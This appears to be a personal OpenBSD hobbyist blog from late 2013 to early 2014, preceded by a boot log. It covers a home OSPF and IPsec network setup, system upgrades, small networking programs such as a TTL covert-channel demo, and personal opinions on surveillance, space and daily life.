uhub6 at usb6 "Intel OHCI root hub" rev 1.00/1.00 addr 1
usb7 at ohci5: USB revision 1.0
uhub7 at usb7 "Intel OHCI root hub" rev 1.00/1.00 addr 1
ppb2 at pci0 dev 24 function 0 "Intel E600 PCIE" rev 0x00
pci3 at ppb2 bus 3
ppb3 at pci3 dev 0 function 0 "IDT 89HPES4T4" rev 0x0e
pci4 at ppb3 bus 4
ppb4 at pci4 dev 2 function 0 "IDT 89HPES4T4" rev 0x0e
pci5 at ppb4 bus 5
em0 at pci5 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: msi, address 00:00:24:d0:1e:a4
ppb5 at pci4 dev 3 function 0 "IDT 89HPES4T4" rev 0x0e
pci6 at ppb5 bus 6
em1 at pci6 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: msi, address 00:00:24:d0:1e:a5
ppb6 at pci4 dev 4 function 0 "IDT 89HPES4T4" rev 0x0e
pci7 at ppb6 bus 7
ppb7 at pci0 dev 25 function 0 "Intel E600 PCIE" rev 0x00
pci8 at ppb7 bus 8
ppb8 at pci8 dev 0 function 0 "IDT 89HPES4T4" rev 0x0e
pci9 at ppb8 bus 9
ppb9 at pci9 dev 2 function 0 "IDT 89HPES4T4" rev 0x0e
pci10 at ppb9 bus 10
em2 at pci10 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: msi, address 00:00:24:d0:1e:a6
ppb10 at pci9 dev 3 function 0 "IDT 89HPES4T4" rev 0x0e
pci11 at ppb10 bus 11
em3 at pci11 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: msi, address 00:00:24:d0:1e:a7
ppb11 at pci9 dev 4 function 0 "IDT 89HPES4T4" rev 0x0e
pci12 at ppb11 bus 12
ppb12 at pci0 dev 26 function 0 "Intel E600 PCIE" rev 0x00
pci13 at ppb12 bus 13
tcpcib0 at pci0 dev 31 function 0 "Intel E600 LPC" rev 0x00: 14318179 Hz timer, watchdog
isa0 at tcpcib0
isadma0 at isa0
com0 at isa0 port 0x3f8/8 irq 4: ti16750, 64 byte fifo
com0: console
pcppi0 at isa0 port 0x61
spkr0 at pcppi0
mtrr: Pentium Pro MTRR support
vscsi0 at root
scsibus1 at vscsi0: 256 targets
softraid0 at root
scsibus2 at softraid0: 256 targets
root on sd0a (4bcb82dcecf261d5.a) swap on sd0b dump on sd0b



Mars (G4 Cube) has been donated to the OpenBSD project

October 23rd, 2013

A developer of OpenBSD will be taking care of this box when I send it to him (probably leaving my doors saturday). All in all I'm very happy to have found a good home for this computer.



Testing TOR Onion Routing

October 24th, 2013

I've installed tor from the OpenBSD ports on my workstation Jupiter. Tor is an anonymizer service for HTTP and HTTPS. I'm gonna give this a go for a few hours, days, weeks, months or so depending how I feel about it.



OpenBSD 5.4 Arrived!

October 26th, 2013

OpenBSD 5.4 arrived. Thank you OpenBSD Europe! And thank you OpenBSD!



My OSPF Network

October 27th, 2013

I have finally set everything up like I want it to. And so far I have not created a packetstorm, but who knows what's next. So here is my OSPF Network the best I can explain it:

                                        +----------------+
Luna &                                  | Fritz!Box LTE  |======= LTE Network
Gaia      Jupiter                       +----------------+
    ||      ||                                 ||
    ||      ||                                 ||
    ||      ||   }-------- Wifi -------{       ||
    ||      ||   }-------- IPSEC ------{       ||
    ||      ||                                 ||
 +---------------+ gif0  area 0.0.0.0   +--------------+
 |               |======================|              |     +--------+
 |    Uranus     |                      |     Venus    |=====| phone 2|
 |               | gif1  area 0.0.0.1   |              |     +--------+
 |               |======================|              |
 +---------------+                      +--------------+
    ||      ||                                 ||
    ||      ||                                 || 
    ||      ||                                 || Static default route
    ||      ||                                 ||
    ||      ||                                 ||
Phone #1  Open                          +----------------+
                                        |Fritz!Box DSL   |======= DSL Network
                                        +----------------+
Venus' ospfd.conf
password="secret"
 router-id 0.0.0.0
redistribute static
redistribute 0.0.0.0/0
area 0.0.0.0 {
        interface gif0 {
                router-priority 1
                auth-type simple
                auth-key $password
        }
}
area 0.0.0.1 {
        interface gif1 {
                router-priority 5
                auth-type simple
                auth-key $password
        }
}
Uranus' ospfd.conf
password="secret"
router-id 0.0.0.1
fib-update yes
redistribute 192.168.32.0/24
redistribute 192.168.33.0/24
redistribute 192.168.34.0/24
redistribute 192.168.35.0/24
redistribute 192.168.36.0/24
redistribute 192.168.1.0/24
redistribute 192.168.2.0/24
area 0.0.0.0 {
        interface gif0 {
                router-priority 10
                auth-type simple
                auth-key $password
        }
}
area 0.0.0.1 {
        interface gif1 {
                router-priority 5
                auth-type simple
                auth-key $password
        }
}

If there is any hints on how to improve on this it'd be appreciated.



All computers upgraded to OpenBSD 5.4

October 29th, 2013

It's such a joy to upgrade OpenBSD. /bsd.rd and sysmerge followed by a pkg_add -u. I have upgraded jupiter, luna, uranus and venus all to 5.4. And there is no errata54 yet. Perfect! Fallout hasn't been noticed except that the nvidia driver (nv) for OpenBSD 5.4 sucks. I'm considering buying a new AMD Radeon graphics card in the 60-80 euros range. Since my nvidia card is fairly old in model number a new card in that price range will probably be compatible in performance like before.



Nvidia Card about to be replaced

October 29th, 2013

I have purchased a Sapphire Radeon HD5450 graphics card. This card will replace my MSI N250GTS Twin Frozr 1G 1GB DDR3 card that I originally bought with Jupiter. I hope they are comparable in performance. Just that the Radeon doesn't do 2 monitors which the Nvidia card did. But since I don't do such a setup it should be fine.



A tiny blip on the W commit log screen

October 30th, 2013

Wildcarddnsd didn't get much commit time this year. But this time there was something. I committed support for Raspberry Pi running raspbian. That's gotta count for something, however small. Have fun with it!



Centroid blog now available in CVS

November 1st, 2013

I have decided to open source the PHP behind this blog. It's all about letting go and showing the innards isn't it? :-) Anyhow here are the sources. This PHP source code has never seen anyone's eyes but mine before this. Perhaps it's not great but it makes this blog the way it is.



OpenBSD 5.4 released

November 1st, 2013

You can now download OpenBSD 5.4 from your favourite OpenBSD FTP mirror. I usually use ftp.eu.openbsd.org in europe but if I was in north america I'd use ftp.openbsd.org. Congratulations to the OpenBSD team for yet another great release!



Fast Hellos are on

November 1st, 2013

Yesterday I turned on fast hellos on my OSPF setup. This is what venus' ospfd.conf file looks like now:

... some cut ...
area 0.0.0.0 {
        interface gif0 {
                router-priority 1
                metric 1
                router-dead-time 40
                auth-type simple
                auth-key $password
                router-dead-time minimal
                fast-hello-interval msec 333
        }
        interface gif1 {
                router-priority 5
                metric 10
                router-dead-time 40
                auth-type simple
                auth-key $password
                router-dead-time minimal
                fast-hello-interval msec 333
        }
}
Notice gif0 has a lower metric than gif1, fast-hello-interval time is 333 msecs.Which is also default so it needn't be there. The "router-dead-time minimal" causes fast hellos to go on. So when I watch the packets on gif1 which isn't used for traffic I see:
# netstat -nw 1 -I gif1
 gif1 in       gif1 out              total in      total out            
 packets  errs  packets  errs colls   packets  errs  packets  errs colls
  200827     0   209273     0     0  75406364     0 80678099     0     0
       3     0        3     0     0        29     0       29     0     0
       3     0        3     0     0        22     0       22     0     0
...
exactly 3 packets per second in either direction. I suspect now that when my LTE fritz!box crashes again that the failover to the gif1 link will be next to instant.



Jupiter (computer) now on Radeon

November 3rd, 2013

After 3.5 years of Nvidia, the box is now running a low to medium end Sapphire Radeon HD5450 card. I'm saving a ton of electricity with this card too! And OpenBSD is fast again! Wonders!



Facilities and Priorities in syslog

November 4th, 2013

We had this problem in that we didn't know what facility a certain program was syslogging to, so we straced it (in linux), check a sample here:

root@raspberrypi:~# tail /tmp/blah.out
read(1, "TZif2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\1\0\0\0\0"..., 4096) = 118
_llseek(1, -6, [112], SEEK_CUR)         = 0
read(1, "\nUTC0\n", 4096)               = 6
close(1)                                = 0
munmap(0xb6caf000, 4096)                = 0
socket(PF_FILE, SOCK_DGRAM|SOCK_CLOEXEC, 0) = 1
connect(1, {sa_family=AF_FILE, path="/dev/log"}, 110) = 0
send(1, "<13>Nov  3 00:00:14 pi: hi", 26, MSG_NOSIGNAL) = 26
close(1)                                = 0
exit_group(0)                           = ?
That was produced with the input "strace -o blah.out logger hi". So syslog logs a number inside <> at the beginning to indicate what facility and priority it is. It's sorta a code. So I wrote the following BSD program to convert the number into their respective fac and pri. Enjoy!
root@raspberrypi:/tmp# ./facility 13
facility: (8)user, priority: (5)notice

For administrivia, how would you speed up this program? Take a look at /usr/include/syslog.h and think binary search.



Smithing tools to understand code

November 8th, 2013

Yesterday I looked at the traceroute(8) source code in order to look for attack vectors. I came out empty handed. But I smithed a tool for my work that can be reused later I think.

This tool helped me overcome reading the function print_exthdr() better and determining it was safe. Not many people admit to doing this kinda stuff but I think I'll leave this to the next person that doubts OpenBSD's traceroute.c. I'm not ashamed at all! Should I be?



talk(1) patch to display timestamps

November 9th, 2013

I have written a small patch to talk(1) as found in FreeBSD (yes for a change!) to display timestamps when someone wrote a line. It's a little buggy but it works.

Thanks goes to Dylan who I've been talk(1)ing with and gave me the idea.



What's happening here?

November 11th, 2013

I think the medias need to step back a bit. We all know that the US is spying on us but we don't need to be spoon-fed the paranoia. It's causing illogical decisions (firewalled europe anyone?) on parts of big powerful corporations who see opportunity to take away everyones freedom. Let's get off this paranoid horses back! I love freedom personally.



Slow Communication (ttldaemon.c)

November 11th, 2013

I have written a small daemon that changes the outgoing TTL on a FreeBSD host. It's a covert steganographic channel. When a bit is set the TTL is 65 and when it's 0 the TTL is 64. On the receiving end of a ping then perhaps you can make out the bits of a message:

jupiter$ ping -i 10 io.solarscale.de
PING io.solarscale.de (78.47.14.22): 56 data bytes
64 bytes from 78.47.14.22: icmp_seq=0 ttl=53 time=15.691 ms
64 bytes from 78.47.14.22: icmp_seq=1 ttl=53 time=16.608 ms
64 bytes from 78.47.14.22: icmp_seq=2 ttl=54 time=14.907 ms
64 bytes from 78.47.14.22: icmp_seq=3 ttl=54 time=15.247 ms
64 bytes from 78.47.14.22: icmp_seq=4 ttl=53 time=15.183 ms
64 bytes from 78.47.14.22: icmp_seq=5 ttl=53 time=16.017 ms
64 bytes from 78.47.14.22: icmp_seq=6 ttl=53 time=16.465 ms
64 bytes from 78.47.14.22: icmp_seq=7 ttl=54 time=15.134 ms
64 bytes from 78.47.14.22: icmp_seq=8 ttl=53 time=18.659 ms
64 bytes from 78.47.14.22: icmp_seq=9 ttl=53 time=15.542 ms
64 bytes from 78.47.14.22: icmp_seq=10 ttl=54 time=15.176 ms
64 bytes from 78.47.14.22: icmp_seq=11 ttl=54 time=16.411 ms
64 bytes from 78.47.14.22: icmp_seq=12 ttl=53 time=15.418 ms
64 bytes from 78.47.14.22: icmp_seq=13 ttl=54 time=15.438 ms
64 bytes from 78.47.14.22: icmp_seq=14 ttl=53 time=15.388 ms
64 bytes from 78.47.14.22: icmp_seq=15 ttl=53 time=15.918 ms
64 bytes from 78.47.14.22: icmp_seq=16 ttl=53 time=15.306 ms
64 bytes from 78.47.14.22: icmp_seq=17 ttl=53 time=15.347 ms
Notice how the TTL changes here. If it's 54 then the original TTL was 65, so 1 bit. So what was gathered here was 001100010011010000. Eventually I'd like to write a client to record this. But I'm gonna cheat for now and give you the source code.

I just give greetings and peace wishes but with a bit of coding it could be changed to something very creative!



Ordered a new book

November 15th, 2013

I have ordered...

  • Alternative DNS Servers: Choice and Deployment, and Optional SQL/LDAP Back-Ends - Jan-Piet Mens
I do hope this is worth having. This brings my orders for this year to 15 which I hoped to achieve, perhaps I'll order one or two more books but then that's it. I gotta read these too!



My first OpenBSD vps

November 17th, 2013

I have decided to switch plans on my Panama VPS americas.centroid.eu. I now have the option to run OpenBSD on it and I'm going to go for it.

I'm looking forward to IPSEC encrypting from io.solarscale.de and moon.virgostar.net to americas.centroid.eu. I have already set up strongswan on io and moon and americas was lacking this functionality but now it'll work. This should keep me busy until new years :-).



Sent Brad Smith 10 Euros

November 18th, 2013

A call on the undeadly openbsd journal was answered by me. I sent Brad Smith 10 euros for his new laptop. If 100 people do similar he'll be able to buy his new beast. Of course this is for the greater good! Brad lives in Toronto where I used to live for 7 years once, so this is from one (ex-)Torontonian to the next.



Wildcarddnsd BETA 8 has been released

November 19th, 2013

This is a small release for wildcarddnsd. We have new debug feature and support for Raspberry Pi. It is a small release because I have dwindling time this year due to my job and there is little to no help coming from the outside. I welcome each and every person who wants to program on this daemon.



Americas is now OpenBSD

December 3rd, 2013

I have taken the new americas into "production" so to speak. It is serving all kinds of things and I'm currently developing software to make it even "safer" :-).



Merkle's puzzles not to defeat

December 4th, 2013

But to stall/delay/cost the adversary..

On chapter 2, page 34 of Applied Cryptography by Bruce Schneier, which is a rather old text I found the gem of Merkle's puzzles. Ralph Merkle is renowned in the cryptography scene for finding out about these puzzles. While I don't want to go into explaining the puzzle, I do think that they can offer some protection when RSA assymetric encryption fails. Pretend there is a quantum computer able to break assymetric encryption. What I have done is implemented a Merkle's puzzle server that I'll be using to connect to my vps. The server creates a tunnel that is SHA1 HMAC'ed and AES-256-CBC encrypted. While this may seem enough, it's not. I still ssh within this tunnel but it does require some effort to get to the assymetric encryption.

jupiter$ ls -1 *.c
mps.c			- creates the gigabytefile of encrypted messages
mpsclient.c		- uses a cracked message to talk to the server
mpscrack.c		- cracks a message in the gigabyte file
mpsd.c			- talks to the client to set up the encrypted tunnel
I'll be setting up a system to distribute over ssh the gigabytefile so that I can crack a message at home with it and from there use mpsclient to connect to the server.

I'm debating whether I should open source this. Give it time perhaps I will.



Wildcarddnsd is in production again

December 8th, 2013

After a long pause of more than a year, I've enabled wildcarddnsd on americas.centroid.eu. It is master to a bind9 (moon.virgostar.net) and an nsd3 (io.solarscale.de) nameserver. I was able to do this change due to wildcarddnsd's shared memory which didn't work on a freebsd jail.

Anyhow I only did a few mistakes moving the zones over and perhaps I should write a bind9 zones convert tool to wildcarddnsd zones.



2013 - Year in review

December 10th, 2013

Like every year I do the review on December 10th, so here goes.

December 13th 2012, Purchased two books
December 14th 2012, decided to expire goldflipper.net
December 18th 2012, registereed amdeutschhof.de
December 18th 2012, December solstice in three days
December 18th 2012, Planets aligned on the 21st?
December 22nd 2012, My Spaceship
December 24th 2012, Merry Christmas!
December 28th 2012, Frankfurt-Helsinki in 6 hours by rail?
December 28th 2012, Looking for love in all the wrong places
December 31st 2012, Happy New Year 2013
January 7th 2013, Got a new monitor
January 7th 2013, How a base on Phobos could look like
January 10th 2013, Got a new book on WLAN's
January 11th 2013, Fibre Optics in the Canadian North
January 19th 2013, Let me explain how the Internet works...
January 20th 2013, This years traffic from Uranus (computer)
January 20th 2013, Date correction
January 24th 2013, Ordered two new books
January 24th 2013, Neat little vmware fusion trick
January 26th 2013, Bought a backup drive
January 28th 2013, Time Machine backup really slow
January 29th 2013, DECENTRALIZED
January 30th 2013, IRC
January 31st 2013, NAP of the Americas in Miami
January 31st 2013, Wire-tapping of the Cloud...
February 1st 2013, If I do upgrade Jupiter(computer)...
February 2nd 2013, This is actually cool!
February 9th 2013, Slowly getting ready for move
February 13th 2013, I've moved
February 14th 2013, My new IPv6 setup
February 15th 2013, Reinstated CVSWEB for my programs
February 17th 2013, Wildcarddnsd BETA 7 released
February 17th 2013, Introducing Fire Curses client
February 19th 2013, Firefox does DNS prefetching in OpenBSD
February 24th 2013, Donation time again
February 28th 2013, Teleworking: Mrs. Mayer you're (still) wrong
February 28th 2013, My first video entry
February 28th 2013, SVPradio 100th show next Wednesday
March 7th 2013, My first libssh program
March 8th 2013, Ordered two books
March 10th 2013, An era ends?
March 18th 2013, Equinox in 2 days
March 20th 2013, First day of Spring! Goodbye Winter!
March 24th 2013, Switched emea to FreeBSD
March 25th 2013, OpenBSD has released it's 5.3 Song
March 30th 2013, My sorta first ruby program
March 30th 2013, Next wednesday is SVP Radio's 2nd year anniversary
April 1st 2013, Goodbye Source!
April 2nd 2013, I'm still anti-nuclear
April 6th 2013, Pre-ordered OpenBSD 5.3 CD
April 8th 2013, EFnet.XS4ALL.NL has K-lined Hetzner.de IP's
April 12th 2013, Total Rip-Off, I'm gonna keep it!
April 23rd 2013, Germany's Deutsche Telekom starts a 75 GB cap on DSL
April 25th 2013, Network Rearrangement Next Week
April 25th 2013, 1 month left for goldflipper.net
April 25th 2013, Saturn in Libra (close to the moon)
April 26th 2013, What DT is doing wrong
April 28th 2013, Taking a vacation from IRC
April 29th 2013, Why would a provider get rid of flatrate?
May 1st 2013, OpenBSD 5.3 released, 3 hosts upgraded
May 2nd 2013, The cravings are bad...
May 2nd 2013, My Compression Algorithm doesn't work
May 3rd 2013, Google Glass doesn't really phase me
May 4th 2013, We don't really have alternative access
May 5th 2013, Ordered a new book from Amazon
May 6th 2013, Earworms, Ohrwurms and co.
May 6th 2013, Changed blog a little
May 7th 2013, Asterisk patch
May 8th 2013, Hackathon Trademark
May 8th 2013, Strato.com HIDRIVE is real slow today
May 9th 2013, Finished upgrading to OpenBSD 5.3
May 10th 2013, New Intro Screen with Animation
May 11th 2013, NASA Asteroid Mission, not a bad idea
May 12th 2013, Got a shot of moon and Jupiter
May 13th 2013, Politics: I'm still a pirate
May 13th 2013, Crossing my fingers for Chris
May 13th 2013, Freifunk Schweinfurt is alive
May 15th 2013, My idea for a virtual reality headset
May 17th 2013, OpenBSD fixes a panic I found
May 21st 2013, Second Video Blog (Vlog?) entry
May 21st 2013, Experimenting with an RSS feed
May 22nd 2013, This is a valid RSS feed
May 22nd 2013, Move DNS to TCP?  Great Idea! Really...
May 23rd 2013, Alphabetical countup AWK beats Ruby 1.8
May 24th 2013, Added squid proxy to mars
May 24th 2013, Panama getting more bandwidth in 2014
May 25th 2013, Goldflipper.net expires today
May 29th 2013, Purchased an ipod touch
June 2nd 2013, Changed the Main Page
June 4th 2013, OpenBSD Arrived! VLOG entry #3
June 7th 2013, Donation time again
June 8th 2013, A second arctic route...
June 11th 2013, Success! I ran an app on my iPod
June 11th 2013, FAAC compiles inteo ffmpeg on OpenBSD
June 12th 2013, Vlog #4, just a test
June 14th 2013, Vlog #5 Got 3 books on IOS development
June 16th 2013, A german Google?  Will the market allow it?
June 18th 2013, Northern Solstice in 3 days
June 18th 2013, Some video about Wildcarddnsd
June 20th 2013, The moon last night
June 21st 2013, Sunny Solstice
June 23rd 2013, What government should do
June 25th 2013, Got a new book
June 25th 2013, The Key Satellites
June 25th 2013, UFO sighted
June 25th 2013, How everyones Internet should be like
June 26th 2013, This is for July 1st
June 30th 2013, Helping the NSA find baby-jesus
July 1st 2013, Cherries!
July 2nd 2013, Weird Sky, more UFO's?
July 3rd 2013, Good Engineering will prevent domestic Spying
July 4th 2013, A look back from 2001: Has my vision really changed?
July 5th 2013, 2014, the year of the cable?
July 6th 2013, Redder Cherries
July 7th 2013, DSL not working, getting LTE
July 9th 2013, Got LTE, Internet is stable again
July 11th 2013, How the Internet should be like (Pt. 2)
July 11th 2013, IT Security, SSH timing attack
July 17th 2013, This blog now obfuscates all data
July 18th 2013, Just more preaching about preventing spying
July 25th 2013, Centroid Blog for Lynx readers
July 28th 2013, Watched the Big Dipper out my Kitchen Window
August 5th 2013, I asked for a static IP again
August 15th 2013, Purchased a Raspbarry Pi mini-computer
August 16th 2013, Wait a minute... not so fast... what changed?
August 18th 2013, Got Raspberry Pi, it's running Linux now
August 23rd 2013, Ordered a WLAN UsB adapter for the Pi
August 25th 2013, Got two books I ordered
August 27th 2013, Vacationing in Canada next month
August 27th 2013, Will be guest DJ'ing at SVPradio.COM
September 3rd 2013, RadeonDRM on OpenBSD
September 4th 2013, Wildcarddnsd has little new features for BETA8
September 5th 2013, OpenSMTPD upgraded on io.solarscale.de
September 6th 2013, Just a thought, is Snowden a FUD-Trojan?
September 6th 2013, My public AP is on an Edimax adapter now
September 6th 2013, Good article by Bruce Schneier
September 12th 2013, Pre-Ordered OpenBSD 5.4
September 14th 2013, One year of ap.centroid.eu
September 15th 2013, Southbound Equinox in 7 days
September 15th 2013, Pirate Pary got 2% in Bavarian election
September 21st 2013, Tomorrow
September 23rd 2013, e* came and went
September 25th 2013, SVPRadio appearance came and went
October 1st 2013, Some pictures from my vacation
October 9th 2013, First Snowday of the Year
October 13th 2013, I'm home now
October 13th 2013, Snowstorm in Nunavut on the 8th of October
October 14th 2013, Donated 150 euros to OpenBSD
October 14th 2013, A Train to Nowhere (Sep 28th - 30th)
October 14th 2013, Iqaluit, Nunavut (October 7th - 11th)
October 14th 2013, Upgraded my ipod touch to IOS 7
October 15th 2013, Ordered a Soekris
October 15th 2013, Network Rearrangement in 2 Weeks
October 17th 2013, Deutsche Telekom
October 19th 2013, Got the Soekris
October 21st 2013, Venus (Soekris router)
October 23rd 2013, Mars (G4 Cube) has been donated to the OpenBSD project
October 24th 2013, Testing TOR Onion Routing
October 26th 2013, OpenBSD 5.4 Arrived!
October 27th 2013, My OSPF Network
October 29th 2013, All computers upgraded to OpenBSD 5.4
October 29th 2013, Nvidia Card about to be replaced
October 30th 2013, A tiny blip on the W commit log screen
November 1st 2013, Centroid blog now available in CVS
November 1st 2013, OpenBSD 5.4 released
November 1st 2013, Fast Hellos are on
November 3rd 2013, Jupiter (computer) now on Radeon
November 4th 2013, Facilities and Priorities in syslog
November 8th 2013, Smithing tools to undersdtand code
November 9th 2013, talk(1) patch to display timestamps
November 11th 2013, What's happening here?
November 11th 2013, Slow Communication (ttldaemon.c)
November 15th 2013, Ordered a new book
November 17th 2013, My first OpenBSD vps
November 18th 2013, Sent Brad Smit 10 Euros
November 19th 2013, Wildcarddnsd BETA 8 has been released
December 3rd 2013, Americas is now OpenBSD
December 4th 2013, Merkle's puzzles not to defeat
December 8th 2013, Wildcarddnsd is in production again



io <--> americas <--> moon now IPSEC'ed

December 12th, 2013

I have made 2 IPSEC tunnels between io.solarscale.de, americas.centroid.eu and moon.virgostar.net. These are all my 3 nameservers and they used to exchange zone files in plain text. Well not no more.

IO and MOON are FreeBSD so I found racoon the right combination for them. Americas which is OpenBSD uses isakmpd all for IKEv1 key exchange. The cipher negotiated is AES. It seems to work and I packet dumped to confirm that it's ESP'ed. Praise!



Southern Solstice in 6 days

December 15th, 2013

The solstice is here in in less than a week! You can read about Solstices here. I predict if daylight is the same X days before and after the solstice in symmetric fashion then the days should be getting longer on the 28th of December which isn't too far off! At least this applies to the northern hemisphere! And inbetween is christmas, so it's not so bad is it?



I wish Europe would land on the moon too

December 16th, 2013

The moon is probably the most mysterious thing that every human can observe with their own eyes. When will Europe explore this object?



Compartmenting more $USER functionality

December 17th, 2013

It is well known that daemons (or if you want to call them servers you can), compartment themselves to their own user... so why can't I do the same for firefox browser? The Idea I got from a slide from Mike Belopuhov's talk in at ruBSD, see here. I recently found out I can do this. Here is what I've done:

jupiter$ grep firefox .fluxbox/menu         
      [exec] (firefox) { ssh -c arcfour -X pjpff@localhost /usr/local/bin/firefox }
This will ssh to localhost with X11Forwarding with the arcfour cipher (later I plan on using chacha), because arcfour is speedy. I had to do the same for URL's in thunderbird so that when I click on an url the pjpff user sees it in the browser. But there is one drawback. Pasting text back. So I've used the never used "email link" function to send back an URL of interest back to me and it goes back to the thunderbird. It works out well. Another obstacle is moving files for upload or download. I'm going to write a small daemon for that with a hopefully curses client.

I can now browse easier knowing that firefox can't browse through my files in some hidden or not-known functionality. I'm paranoid about that so I'd rather close a possible hole.



I'm in love with the new Apple Mac Pro (cylinder)

December 19th, 2013

...and I have 6 months to decide if I want to make it my next work computer. I would be replacing Jupiter (Core i7-930) for everyday tasks. If I get it I'm considering putting OpenBSD natively on the 2012 Mac Mini that I have, so that at least one computer will run OpenBSD natively. OpenBSD will also run on this Mac Pro under vmware. Right now I'm high from its design, maybe that will die down in time. Jupiter turns 4 in june, it cost around 2000 euros, the Mac Pro would cost around 3500, but it's assembled in the USA which means good quality...



Donated 5 euros to the LibreOffice Document Foundation

December 22nd, 2013

I donated 5 euros to the Document Foundation. Thanks for allowing me to run slides for presentations with OpenBSD!



Living with Schitzophrenia, what's it like?

December 23rd, 2013

I pop my pills every day and everything seems normal. I don't know how it would be without them, never tried. Stigma against Schizos? Probably exists. I'm not exactly rich in Germany.



Purchased Music off iTunes

December 23rd, 2013

I purchased 2 albums. One the Major Riddim by Don Corleon Music and the other Tarrus Riley Mecoustic album. I'm listening to these as I write this.



Merry Christmas

December 25th, 2013

May peace be unto thee!



Success, configuring the resolver right

December 26th, 2013

I started this thread in hopes of configuring my resolver right. Many wanted to help me and some laughed at me, but in the end I got what I wanted which was the "search ." in my resolv.conf. Would be a shame if this knowledge wasn't passed on to others and hence I suggested putting it in the manpage for resolv.conf. Just not sure on the right wording so I left it for others to take a peek.



It's all about distribution...

December 28th, 2013

Hackers in Germany are brainstorming what they can do against the state surveillance. My position is that the structure that the Internet is built is wrong. There is no distribution, everything is centralized in a few major ISP's. If people had smaller ISP's to choose from, if people had been enabled to do their own Internet-networking then the monetary infrastructure would enable people to fend off government threats, as a collective. With the current model there is a few companies that are easily misled by state securities. We have a disaster as a result.



My Moonchart...and more

December 30th, 2013

I don't really really believe in astrology, but I find it amazing what sort of moons and planets were in my night sky at my birthday, so here it is my moonchart:

	moon	jupiter	saturn	mars		moon	jupiter	saturn	mars
1976     X				1997	 			 X
1977					1998
1978					1999
1979     X				2000
1980					2001
1981		    X       X		2002
1982		            X     X	2003
1983			    X		2004
1984     X				2005		    X
1985					2006       X
1986					2007
1987     X 				2008
1988 					2009
1989					2010			   X
1990					2011			   X
1991					2012			   X
1992					2013
1993		     X			2014	   			  X
1994					2015
1995     X				2016
1996					2017		    X

2025     X				2029                X             X
I'll try to correlate this to events in my life sometime, but not yet.



Happy New Year 2014

January 1st, 2014

I went to bed early last night and slept through the fireworks, oh well. I think 2014 will be a good year.



Why China is fixated on the Moon

January 1st, 2014

Recently in conversation I had with someone the chinese ambitions on the moon came up. They want to exploit the moon for its resources, she said. And I said "I know, isn't it beautiful?". Then I told her about mans quest into space and the earth being a womb to a human baby-mind. She thought I was crazy.

So then I read this BBC article, about why china is fixated on the moon. My opinion is that we should use the moons resources not to bring back to earth but to strengthen the space program. Use the resources to go out further. Also why is the rest of the world fixated on Mars? Does mars have resources more abundant than the moon? Or easier to be stripped? When looking at the moon it is a system similar to that on earth and perhaps there is more abundance of elements there than we'll ever find on mars? If nuclear fusion reactors (which don't exist yet) can be powered by helium-3 from the moon, which is taken as a sort of catalyst or inhibitor in order to control the fusion then I say go for it. That's the only element where I say bring it back to earth because there isn't much of it and it's easily transported. Don't bring back the metals though.. those are too bulky and make better sense to be used in spacecraft beyond moon orbit, or as antennas for dark side listening posts.

In the end, the article says there is potentially 10,000 years of power for the electric needs on earth in helium-3. If that't true it'll probably be a race among chinese and american private power companies to get the most they can. Good luck, humanity!



My IT spendings are just about average in .de

January 2nd, 2014

Apparently a survey done by the European Information Technology Observatory concluded that in 2013 the average spendings for IT per german is 1500 euros. So I'm actually just about at this average, small count of my spendings:

  1. provider m-net 20 euro/month
  2. provider vodafone 24 euro/month
  3. vps provider hub.org 35 dollars/month
  4. vps provider vr.org 20 dollars/month
  5. vps provider hetzner 8 euros/month
  6. KNF (franken.de) 5 euros/month
This comes to about 85 euros per month and then there is other costs involved. I think I'm just about average.



Ordered two books

January 5th, 2014

I have ordered two books from amazon. One dealing with OpenCL programming and the other with virtual reality, who knows where this will take me.



So, who owns the Internet?

January 8th, 2014

Here is an article with the same title and I admit to you I haven't read it. But I'd like to tell you what I think. The Internet is owned by corporations who are in it for profit. Since the profit margin is very small, yet people expect to be paid a lot they devise scarier methods (such as killing net neutrality, killing adfree content) to make even more profit. That is the truth. We, the people do not own the Internet, and we need to wake up and smell the coffee. We are however the soul of the Internet, and we make it a happening place.

So why do we not take ownership of it?

I have started by investing 20 euros into a WRT router that will be hooked up to freifunk.net, which is an initiative to mesh network everyone in germany. There obviously is a lot of gaping holes causing no service. But if people pick up and add their own 20 euro router eventually it'll become a network. And it gives you ownership of it, albeit a very small yet important part of it. I'm looking forward to pioneering this network in my neighbourhood and hopefully people will jump on the bandwagon. More on this later.



Freifunk Franken

January 10th, 2014

This image shows the franken.freifunk.net access point on my ipod.


Cheers!



What would I do in Virtual Reality?

January 11th, 2014

I'm currently reading the book "Infinite Reality" by Blascovich and Bailenson and I think this book is a real thriller. I think virtual reality is not too far off for the consumer if you follow Oculus Rift progress. So what would I do with it? One idea is that I would create a "god room" as I call it. It's a room or object in the blackness of space, where I would create or architect new rooms.

Another idea is that I would be able to monitor my computers in a 3D fashion. For this I have the idea of using kqueue system calls to monitor filesystem on a host and to make an observer aware that something changed or that activity is in one part of the system, like a 3D popup or a change in colour. The filesystem would be represented as a tree perhaps, very simple to do (sorta). I have experience in networking and (mostly network) programming so I believe creating a virtual reality interface for network operators is perhaps also on the menu. Being able to examine traffic, suspend traffic, block traffic, create traffic and communication is what comes to mind. I poke around the OpenBSD Operating System once in a while to see how I would implement my ideas best when the time comes to have a head mounted display.

These not yet created applications can be used in security and debugging scenarios, which partially attract to me because I'm often paranoid about things. To be able to go beyond what is possible with a keyboard and monitor interface is what is supposed to cure my paranoia and strengthen my trust in things. I think VR can do this, although the possibility exists that no electronic device can be trusted at all,.. ever. In that case the VR Interface is to unearth the threat-level.



Is the NSA so much smarter than everyone else?

January 15th, 2014

I don't think so. Mainly they probably get human resources from the tech industry, people that worked on specific platforms. They probably also have access to the source code of closed source programs. It's an area that they can enjoy hiding behind patriotism and laws. And then there is their huge budget. Money can buy smarts.

How does one resist such an organization that has all the resources in the world vs. a lowly system administrator? I've been wondering that all along. I considered going offline again as that is the ultimate way to stop this madness, but that isn't gonna work out as long as I work at a job in north america via the Internet. I'm still pondering this issue...



Donation time again

January 15th, 2014

I'm donating 200 euros to OpenBSD this early in the start of the year. In 2012 I donated over 500 euros to them and a little less than that in 2013, since 2014 seems to be a good year I may match the 2012 donation sum by end of year.

